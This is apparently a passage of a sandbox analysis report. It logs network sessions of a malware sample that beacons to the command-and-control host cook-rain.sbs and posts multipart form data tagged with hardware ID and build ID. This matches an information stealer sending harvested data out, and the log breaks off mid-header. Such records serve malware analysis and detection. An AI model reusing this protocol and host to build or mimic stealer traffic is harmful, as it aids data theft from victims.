2024-11-17 11:35:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49710	188.114.97.3	443	6948	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:06 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: cook-rain.sbs
2024-11-17 11:35:06 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-11-17 11:35:06 UTC	1005	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=7lljv3e49s11enfae2tp8r0rak; expires=Thu, 13-Mar-2025 05:21:45 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BnHfiH8TVI0QaOIzIoc8aYUh5RH08zv3m1WJxBLOybLtV9jJ5bMQppKC3BUxCbZ8CMN5DxI%2FaHWR3824W4NW1Heo5%2B0gwSPycbyAvDwb4IsZ4al8%2Bu2ZUQdYOUK5GbPg"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e3f6a581c2c6b15-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1445&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2828&recv_bytes=950&delivery_rate=2175807&cwnd=251&unsent_bytes=0&cid=5169db18f9702b39&ts=499&x=0"
2024-11-17 11:35:06 UTC	364	IN	Data Raw: 63 63 34 0d 0a 6c 58 36 55 77 32 66 77 57 78 54 37 4b 78 47 6c 41 71 6e 74 38 50 44 41 38 2f 2b 62 54 65 43 79 6d 6d 6e 6e 72 57 59 7a 38 2b 6e 75 58 4f 4c 68 58 63 52 33 4e 6f 68 4f 4d 35 39 32 32 35 69 56 33 4f 4b 53 6d 37 6c 33 68 74 50 32 47 6f 4b 42 52 45 57 65 79 36 38 59 39 61 38 55 6c 58 63 32 6e 6c 4d 7a 6e 31 6e 53 7a 35 57 65 34 73 6e 64 2f 69 65 43 30 2f 59 4c 68 73 59 4a 51 35 2b 4b 2f 52 4c 7a 71 77 4b 54 50 33 57 58 52 6e 54 41 5a 38 69 48 6e 70 6d 74 6d 35 4b 35 59 63 4c 58 34 45 76 64 6a 79 74 57 68 34 6a 59 48 2b 65 6f 52 59 31 33 62 39 6c 4f 66 34 63 34 69 34 79 56 6b 71 79 56 6d 2f 41 6c 69 4e 72 2b 43 6f 50 48 46 6c 71 56 67 66 30 63 38 4b 6f 49 6d 69 74 34 6e 55 46 2f 78 6d 33 49 7a 39 7a 53 70 59 6e 64 6f 57 2f 52 34 76 73 61 6c 4e Data Ascii: cc4lX6Uw2fwWxT7KxGlAqnt8PDA8/+bTeCymmnnrWYz8+nuXOLhXcR3NohOM59225iV3OKSm7l3htP2GoKBREWey68Y9a8UlXc2nlMzn1nSz5We4snd/ieC0/YLhsYJQ5+K/RLzqwKTP3WXRnTAZ8iHnpmtm5K5YcLX4EvdjytWh4jYH+eoRY13b9lOf4c4i4yVkqyVm/AliNr+CoPHFlqVgf0c8KoImit4nUF/xm3Iz9zSpYndoW/R4vsalN
2024-11-17 11:35:06 UTC	1369	IN	Data Raw: 41 68 70 2b 66 6f 70 79 58 39 69 79 43 31 2f 49 42 69 73 55 41 58 4a 79 4e 39 78 79 32 37 30 57 56 49 54 62 42 43 56 44 43 63 4d 79 44 68 4e 43 59 30 59 4b 33 4e 73 4c 58 39 45 76 64 6a 77 78 55 6b 6f 6a 38 45 2f 57 70 44 6f 41 35 5a 4a 39 45 64 74 56 6d 7a 6f 47 59 6b 62 43 62 6b 2f 38 73 69 39 76 78 44 6f 4c 4c 52 42 2f 52 6a 4f 39 63 72 75 45 6b 6e 7a 4a 36 6b 31 35 7a 68 33 2b 46 6c 74 4b 56 72 74 48 46 75 53 75 44 31 50 6b 50 69 38 45 41 58 5a 65 46 2b 68 50 77 71 77 57 56 4d 33 36 52 53 48 37 4d 62 38 75 4b 6e 35 61 6b 6e 5a 7a 38 62 38 79 51 2f 78 50 46 6c 30 52 2f 6c 6f 6a 6c 58 73 4f 69 43 35 77 2b 59 4e 6c 57 50 64 34 67 7a 49 50 53 79 75 4b 66 6d 50 59 39 67 38 4c 39 42 5a 66 44 41 56 65 63 69 50 6b 63 38 36 59 49 6e 44 39 78 6d 6b 46 33 78 6d Data Ascii: Ahp+fopyX9iyC1/IBisUAXJyN9xy270WVITbBCVDCcMyDhNCY0YK3NsLX9EvdjwxUkoj8E/WpDoA5ZJ9EdtVmzoGYkbCbk/8si9vxDoLLRB/RjO9cruEknzJ6k15zh3+FltKVrtHFuSuD1PkPi8EAXZeF+hPwqwWVM36RSH7Mb8uKn5aknZz8b8yQ/xPFl0R/lojlXsOiC5w+YNlWPd4gzIPSyuKfmPY9g8L9BZfDAVeciPkc86YInD9xmkF3xm
2024-11-17 11:35:06 UTC	1369	IN	Data Raw: 79 75 4b 64 6c 50 6b 6b 69 4e 54 34 44 49 6a 4b 42 31 61 53 68 76 41 57 2b 4b 59 42 6e 6a 42 37 6e 30 6c 30 77 32 58 5a 69 70 75 65 72 74 48 54 75 53 69 61 6b 4b 42 4c 71 73 67 53 55 72 36 49 35 68 57 32 76 6b 75 4c 65 58 47 56 43 53 75 48 5a 38 36 48 6d 5a 53 71 6b 59 2f 38 49 59 6e 52 38 67 32 45 77 67 68 58 6b 59 72 33 47 76 71 68 41 70 55 72 5a 4a 78 50 59 63 30 67 68 63 2b 56 69 75 4c 4a 33 63 38 2f 6c 63 48 75 53 62 44 4d 43 6c 2b 57 6e 62 63 44 75 4c 68 46 6c 54 55 32 77 51 6c 34 78 32 7a 4d 68 35 53 57 71 70 36 53 38 44 32 44 33 50 59 5a 67 73 38 4e 58 35 36 48 2f 68 48 78 72 41 36 59 4e 48 4b 65 53 44 4f 4a 49 4d 79 58 30 73 72 69 70 34 33 30 49 36 7a 62 39 41 4c 46 30 45 70 49 30 59 7a 37 58 4b 37 68 41 5a 34 78 66 4a 5a 41 65 63 31 76 77 6f 2b Data Ascii: yuKdlPkkiNT4DIjKB1aShvAW+KYBnjB7n0l0w2XZipuertHTuSiakKBLqsgSUr6I5hW2vkuLeXGVCSuHZ86HmZSqkY/8IYnR8g2EwghXkYr3GvqhApUrZJxPYc0ghc+ViuLJ3c8/lcHuSbDMCl+WnbcDuLhFlTU2wQl4x2zMh5SWqp6S8D2D3PYZgs8NX56H/hHxrA6YNHKeSDOJIMyX0srip430I6zb9ALF0EpI0Yz7XK7hAZ4xfJZAec1vwo+
2024-11-17 11:35:06 UTC	173	IN	Data Raw: 39 33 2b 4e 38 4b 49 75 43 53 69 2b 6b 5a 77 71 38 76 6f 55 75 2f 68 41 70 35 35 4c 74 6c 46 63 4d 74 6f 78 49 6d 62 6e 71 69 59 6c 76 55 6b 68 74 7a 78 44 6f 50 4f 41 56 53 51 6a 2f 73 57 38 4b 49 47 6e 54 5a 35 6b 51 6b 39 68 32 66 54 7a 38 72 53 68 34 61 57 39 79 6e 43 7a 37 59 53 78 63 67 49 45 63 6e 4c 2b 78 58 77 70 77 43 65 4f 48 43 52 54 48 76 44 59 63 32 4a 6b 5a 32 6d 6c 4a 7a 32 4b 34 37 65 38 67 71 45 77 77 39 65 6d 6f 36 33 55 72 61 6d 48 64 4a 68 4e 71 68 4b 5a 64 42 77 78 38 2b 4e 33 4c 76 52 0d 0a Data Ascii: 93+N8KIuCSi+kZwq8voUu/hAp55LtlFcMtoxImbnqiYlvUkhtzxDoPOAVSQj/sW8KIGnTZ5kQk9h2fTz8rSh4aW9ynCz7YSxcgIEcnL+xXwpwCeOHCRTHvDYc2JkZ2mlJz2K47e8gqEww9emo63UramHdJhNqhKZdBwx8+N3LvR
2024-11-17 11:35:06 UTC	1369	IN	Data Raw: 33 37 61 38 0d 0a 6d 76 56 76 32 70 44 35 47 59 2f 46 43 6c 53 65 6a 76 51 54 38 61 77 44 6e 6a 4e 2f 6b 55 39 38 7a 6e 4c 49 67 35 79 56 72 4a 32 54 39 43 57 42 33 62 68 46 78 63 67 63 45 63 6e 4c 32 78 76 37 6a 77 36 65 50 6a 61 47 42 32 71 48 5a 38 66 50 79 74 4b 75 6d 35 48 77 4c 34 76 56 38 41 43 4d 79 67 56 61 6c 49 6a 78 45 66 6d 6f 46 35 67 36 65 4a 70 46 66 38 46 68 79 4a 32 61 6d 2b 4c 66 33 66 34 33 77 6f 69 34 4b 6f 76 43 45 46 61 42 79 2b 68 53 37 2b 45 43 6e 6e 6b 75 32 55 70 79 79 47 50 4b 67 70 53 62 71 70 47 62 2f 43 43 50 33 76 38 4d 68 63 49 4b 58 70 65 44 2b 68 44 39 72 77 79 55 4f 58 65 54 43 54 32 48 5a 39 50 50 79 74 4b 53 6b 70 33 35 4e 4d 4c 50 74 68 4c 46 79 41 67 52 79 63 76 6c 46 76 2b 68 42 70 30 2b 63 70 4a 46 64 73 4a 76 79 Data Ascii: 37a8mvVv2pD5GY/FClSejvQT8awDnjN/kU98znLIg5yVrJ2T9CWB3bhFxcgcEcnL2xv7jw6ePjaGB2qHZ8fPytKum5HwL4vV8ACMygValIjxEfmoF5g6eJpFf8FhyJ2am+Lf3f43woi4KovCEFaBy+hS7+ECnnku2UpyyGPKgpSbqpGb/CCP3v8MhcIKXpeD+hD9rwyUOXeTCT2HZ9PPytKSkp35NMLPthLFyAgRycvlFv+hBp0+cpJFdsJvy
2024-11-17 11:35:06 UTC	1369	IN	Data Raw: 73 69 4e 33 2b 49 38 4b 49 75 41 71 4a 77 41 64 65 6b 6f 6a 32 46 75 53 7a 43 5a 73 78 63 35 56 43 66 63 46 79 7a 59 43 62 6b 61 47 59 6d 76 45 6a 69 4e 50 2f 53 38 75 50 41 30 6e 52 30 37 63 2f 34 62 45 49 30 69 59 34 67 41 6c 30 79 79 43 54 7a 35 71 66 71 70 75 5a 2f 69 4b 46 31 76 45 5a 6a 4d 6f 4b 55 5a 57 41 2b 42 72 79 6f 67 57 41 50 33 4b 52 53 6e 37 4b 62 73 69 4c 30 74 7a 69 6c 6f 57 35 64 38 4c 69 39 51 57 65 77 41 4e 41 6d 38 76 6f 55 75 2f 68 41 70 35 35 4c 74 6c 4e 66 64 56 72 79 6f 53 5a 6e 4b 57 65 6d 50 4d 76 6a 64 54 37 42 59 37 4f 42 31 6d 63 68 76 6b 57 2f 36 67 43 6e 6a 31 78 32 51 63 7a 77 48 69 4c 31 39 4b 35 67 37 79 78 2f 6a 58 43 7a 37 59 53 78 63 67 49 45 63 6e 4c 2b 78 58 36 71 77 36 56 4d 33 69 51 52 33 6a 56 63 73 69 4c 6b 5a Data Ascii: siN3+I8KIuAqJwAdekoj2FuSzCZsxc5VCfcFyzYCbkaGYmvEjiNP/S8uPA0nR07c/4bEI0iY4gAl0yyCTz5qfqpuZ/iKF1vEZjMoKUZWA+BryogWAP3KRSn7KbsiL0tziloW5d8Li9QWewANAm8voUu/hAp55LtlNfdVryoSZnKWemPMvjdT7BY7OB1mchvkW/6gCnj1x2QczwHiL19K5g7yx/jXCz7YSxcgIEcnL+xX6qw6VM3iQR3jVcsiLkZ
2024-11-17 11:35:06 UTC	1369	IN	Data Raw: 38 43 6d 42 31 4c 68 46 78 63 67 63 45 63 6e 4c 32 68 44 78 69 41 4b 4a 65 57 6e 58 55 44 50 41 62 49 76 58 30 70 4f 70 6d 35 4c 30 4c 49 54 54 38 77 36 50 7a 67 4e 5a 6e 4a 6e 30 45 2f 6d 6c 42 5a 30 2f 63 4a 68 47 64 63 42 70 79 6f 65 56 30 75 7a 52 6d 75 46 76 32 70 44 57 44 49 62 4c 52 45 37 66 6b 72 63 62 2b 75 46 64 30 6a 6c 38 6b 30 4e 39 78 32 66 5a 69 5a 75 53 6f 59 4f 65 2f 79 65 45 33 50 51 47 6a 63 59 45 56 4a 71 47 2f 42 48 77 6f 51 36 54 65 54 6a 5a 54 6d 75 48 4f 49 75 2b 6e 35 79 6d 6e 35 37 70 4b 4d 4c 50 74 68 4c 46 79 41 67 52 79 63 76 34 46 65 53 6d 41 4a 6f 77 64 70 64 41 65 73 42 6b 79 49 36 57 6e 71 32 59 6e 76 45 75 69 74 2f 37 43 34 37 48 44 6c 43 66 6a 72 64 53 74 71 59 64 30 6d 45 32 74 6b 70 32 7a 47 47 4a 71 4a 53 56 72 74 47 Data Ascii: 8CmB1LhFxcgcEcnL2hDxiAKJeWnXUDPAbIvX0pOpm5L0LITT8w6PzgNZnJn0E/mlBZ0/cJhGdcBpyoeV0uzRmuFv2pDWDIbLRE7fkrcb+uFd0jl8k0N9x2fZiZuSoYOe/yeE3PQGjcYEVJqG/BHwoQ6TeTjZTmuHOIu+n5ymn57pKMLPthLFyAgRycv4FeSmAJowdpdAesBkyI6Wnq2YnvEuit/7C47HDlCfjrdStqYd0mE2tkp2zGGJqJSVrtG
2024-11-17 11:35:06 UTC	1369	IN	Data Raw: 70 44 4e 43 49 76 42 41 30 65 41 78 74 41 47 2b 36 63 53 67 33 6b 34 32 55 38 7a 6e 7a 43 46 7a 35 61 44 34 73 6e 4e 71 33 54 58 67 36 39 62 31 39 42 4b 53 4e 47 64 74 30 53 6b 37 30 57 41 65 53 37 5a 44 6e 44 56 63 73 32 4d 68 4a 48 6c 72 36 50 58 4b 49 54 56 2f 78 76 48 34 51 39 46 6c 73 75 35 58 50 6e 68 58 61 74 35 50 74 6c 32 50 59 64 34 69 39 66 53 70 36 47 66 6b 2f 34 35 6b 35 33 57 44 49 50 4b 41 30 48 54 70 66 77 49 38 65 46 4c 30 6a 38 32 77 52 6b 39 68 32 54 61 7a 38 72 43 38 4d 72 49 71 6e 6a 53 67 75 64 46 6e 49 38 53 45 63 6e 5a 75 56 7a 6b 34 56 33 53 66 6e 57 4c 57 33 58 45 64 73 6a 49 72 4b 79 68 68 35 44 32 4a 49 50 75 78 69 57 49 7a 67 64 66 30 37 72 68 45 65 61 69 41 4a 55 48 53 4a 64 4f 5a 38 42 75 7a 59 2f 53 33 4f 4b 65 33 61 45 57 Data Ascii: pDNCIvBA0eAxtAG+6cSg3k42U8znzCFz5aD4snNq3TXg69b19BKSNGdt0Sk70WAeS7ZDnDVcs2MhJHlr6PXKITV/xvH4Q9Flsu5XPnhXat5Ptl2PYd4i9fSp6Gfk/45k53WDIPKA0HTpfwI8eFL0j82wRk9h2Taz8rC8MrIqnjSgudFnI8SEcnZuVzk4V3SfnWLW3XEdsjIrKyhh5D2JIPuxiWIzgdf07rhEeaiAJUHSJdOZ8BuzY/S3OKe3aEW
2024-11-17 11:35:06 UTC	1369	IN	Data Raw: 72 46 6c 31 51 44 79 74 36 6b 53 36 62 7a 47 74 77 67 4e 6f 38 4a 4b 35 55 75 69 35 33 53 79 75 4c 57 6e 75 73 39 68 4e 50 75 43 4d 4c 78 4f 6e 61 66 6a 50 59 4b 35 71 77 4a 73 7a 70 6e 6b 33 64 4e 30 6d 50 46 67 5a 57 45 73 39 48 54 75 53 44 43 69 4d 46 4c 7a 59 38 37 48 39 47 54 74 30 53 32 6c 41 61 63 4e 33 47 50 57 44 37 67 62 73 79 4f 68 49 4b 76 6e 62 7a 36 50 6f 69 51 74 6b 75 44 6a 31 77 44 33 38 76 7a 44 62 62 35 56 63 42 69 49 38 6f 65 49 35 56 2f 68 5a 62 53 68 4f 4c 4a 7a 37 64 76 6b 4a 43 67 53 38 4c 4d 46 6b 4f 58 69 4f 45 66 73 5a 38 37 74 79 35 31 69 55 39 77 2b 56 37 67 67 35 53 56 75 4a 61 62 33 77 2f 43 6e 72 67 45 78 5a 63 39 45 64 6e 4c 79 46 4b 32 75 55 58 4b 65 55 4f 61 52 33 33 41 64 74 72 43 74 34 57 68 67 5a 76 36 62 38 79 51 2f Data Ascii: rFl1QDyt6kS6bzGtwgNo8JK5Uui53SyuLWnus9hNPuCMLxOnafjPYK5qwJszpnk3dN0mPFgZWEs9HTuSDCiMFLzY87H9GTt0S2lAacN3GPWD7gbsyOhIKvnbz6PoiQtkuDj1wD38vzDbb5VcBiI8oeI5V/hZbShOLJz7dvkJCgS8LMFkOXiOEfsZ87ty51iU9w+V7gg5SVuJab3w/CnrgExZc9EdnLyFK2uUXKeUOaR33AdtrCt4WhgZv6b8yQ/

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.6	49711	40.113.103.199	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:07 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 36 31 56 64 70 6d 42 39 52 30 4b 44 58 69 34 4c 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 35 62 30 33 61 30 65 61 34 64 65 30 35 32 36 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: 61VdpmB9R0KDXi4L.1Context: a5b03a0ea4de0526
2024-11-17 11:35:07 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-17 11:35:07 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 36 31 56 64 70 6d 42 39 52 30 4b 44 58 69 34 4c 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 35 62 30 33 61 30 65 61 34 64 65 30 35 32 36 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 52 57 79 7a 2b 6c 71 76 39 42 75 33 44 30 2f 5a 39 39 31 68 39 79 32 73 62 52 72 6c 36 77 39 72 7a 6f 65 54 58 6d 51 68 61 36 32 51 37 30 62 6f 39 34 2b 51 36 59 6b 76 6a 4c 6a 4a 36 2f 41 7a 2b 2f 47 59 2f 6e 6a 66 44 35 6e 48 65 7a 77 41 62 48 35 53 71 71 46 4f 37 6e 51 50 6f 70 6a 32 51 32 6b 70 73 79 45 64 72 6d 4e 44 5a Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: 61VdpmB9R0KDXi4L.2Context: a5b03a0ea4de0526<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAARWyz+lqv9Bu3D0/Z991h9y2sbRrl6w9rzoeTXmQha62Q70bo94+Q6YkvjLjJ6/Az+/GY/njfD5nHezwAbH5SqqFO7nQPopj2Q2kpsyEdrmNDZ
2024-11-17 11:35:07 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 36 31 56 64 70 6d 42 39 52 30 4b 44 58 69 34 4c 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 35 62 30 33 61 30 65 61 34 64 65 30 35 32 36 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: 61VdpmB9R0KDXi4L.3Context: a5b03a0ea4de0526<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-17 11:35:07 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-17 11:35:07 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 41 37 45 33 53 67 6c 4a 57 6b 43 42 44 62 34 59 45 50 2f 30 79 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: A7E3SglJWkCBDb4YEP/0yQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49712	188.114.97.3	443	6948	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:07 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=8T7MIYR0G9JIL User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12835 Host: cook-rain.sbs
2024-11-17 11:35:07 UTC	12835	OUT	Data Raw: 2d 2d 38 54 37 4d 49 59 52 30 47 39 4a 49 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 38 32 35 43 41 33 32 43 30 31 43 30 39 38 46 46 37 30 30 35 44 37 42 32 30 31 32 37 41 38 38 0d 0a 2d 2d 38 54 37 4d 49 59 52 30 47 39 4a 49 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 38 54 37 4d 49 59 52 30 47 39 4a 49 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 38 54 37 4d 49 Data Ascii: --8T7MIYR0G9JILContent-Disposition: form-data; name="hwid"2825CA32C01C098FF7005D7B20127A88--8T7MIYR0G9JILContent-Disposition: form-data; name="pid"2--8T7MIYR0G9JILContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--8T7MI
2024-11-17 11:35:08 UTC	1007	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=lreja1lbl05v79c524gia5p2lf; expires=Thu, 13-Mar-2025 05:21:46 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RmudyN1bYWQDwxibWzhDGPRIkONOyG9ntdbkN1JWxovV%2BZG7QlG4Lk6niQRg0Q2M9aLCX7qygxzyoqDlq4RPL%2BIFk3n2Rl5W41SF06sQjodkHeHG6f4zRR2Lmdi%2BGBTQ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e3f6a60df2e466e-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1147&sent=12&recv=18&lost=0&retrans=0&sent_bytes=2829&recv_bytes=13767&delivery_rate=2618444&cwnd=243&unsent_bytes=0&cid=0a0da295f4e723de&ts=770&x=0"
2024-11-17 11:35:08 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 30 0d 0a Data Ascii: 11ok 173.254.250.70
2024-11-17 11:35:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49713	188.114.97.3	443	6948	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:09 UTC	271	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=5ANP1W3AWU User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15063 Host: cook-rain.sbs
2024-11-17 11:35:09 UTC	15063	OUT	Data Raw: 2d 2d 35 41 4e 50 31 57 33 41 57 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 38 32 35 43 41 33 32 43 30 31 43 30 39 38 46 46 37 30 30 35 44 37 42 32 30 31 32 37 41 38 38 0d 0a 2d 2d 35 41 4e 50 31 57 33 41 57 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 35 41 4e 50 31 57 33 41 57 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 35 41 4e 50 31 57 33 41 57 55 0d 0a 43 6f Data Ascii: --5ANP1W3AWUContent-Disposition: form-data; name="hwid"2825CA32C01C098FF7005D7B20127A88--5ANP1W3AWUContent-Disposition: form-data; name="pid"2--5ANP1W3AWUContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--5ANP1W3AWUCo
2024-11-17 11:35:09 UTC	1011	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=comg0muqcgu38vf4vdp3g9tl8g; expires=Thu, 13-Mar-2025 05:21:48 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hm1M7lnbcsUuWRHfSScmxwBWYbayutZtPXWaNWojA7EnYFms98QbRgGM%2FvQh%2FA4qweQIlwuColVzMtCw4VXCLEINYHHEscrl%2BlU9Lyp%2FgmCa%2BHUJZ7494q2jskThD5qQ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e3f6a69de106bf6-DFW alt-svc: h3=":443"; ma=86400 server-timing: 